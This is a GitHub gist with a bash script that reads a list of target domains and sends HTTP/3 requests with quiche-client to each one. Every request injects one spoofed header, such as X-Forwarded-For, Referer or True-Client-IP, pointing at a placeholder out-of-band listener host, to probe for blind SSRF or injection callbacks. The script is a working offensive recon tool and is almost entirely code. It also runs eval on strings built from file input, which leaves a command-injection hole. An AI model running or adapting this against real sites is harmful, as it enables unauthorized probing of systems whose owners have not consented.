Created
October 16, 2023 08:32
-
-
Save yosignals/77dbc73b87992d6029b9531818c6ee81 to your computer and use it in GitHub Desktop.
Recruiter.http3.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Pain in the ass to set up, need rust, cargo for quiche-client | |
# Define the path to the text file containing the list of target domains | |
domain_list_file="domains.txt" | |
# Define an array of headers | |
headers=( | |
"X-Forwarded-For: xff.OOB_LISTENER.com" | |
"X-Wap-Profile: wafp.OOB_LISTENER.com" | |
"CF-Connecting_IP: cfcon.OOB_LISTENER.com" | |
"Contact: [email protected]_LISTENER.com" | |
"X-Real-IP: rip.OOB_LISTENER.com" | |
"True-Client-IP: trip.OOB_LISTENER.com" | |
"X-Client-IP: xclip.OOB_LISTENER.com" | |
"Forwarded: for=ff.OOB_LISTENER.com" | |
"X-Originating-IP: origip.OOB_LISTENER.com" | |
"Client-IP: clip.OOB_LISTENER.com" | |
"Referer: ref.OOB_LISTENER.com" | |
"From: [email protected]_LISTENER.com" | |
) | |
# Check if the domain list file exists | |
if [ ! -f "$domain_list_file" ]; then | |
echo "Domain list file not found: $domain_list_file" | |
exit 1 | |
fi | |
# Loop through each domain in the list and make HTTP requests with headers | |
while IFS= read -r target_domain | |
do | |
# Ensure the target domain is not empty or a comment | |
if [[ -n "$target_domain" && ! "$target_domain" =~ ^\s*# ]]; then | |
echo "Running quiche-client for domain: $target_domain" | |
for header in "${headers[@]}"; do | |
command="cargo run --bin quiche-client $header 'https://$target_domain'" | |
echo "Running command: $command" | |
eval "$command" | |
echo "-------------------------------------------" | |
done | |
fi | |
done < "$domain_list_file" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment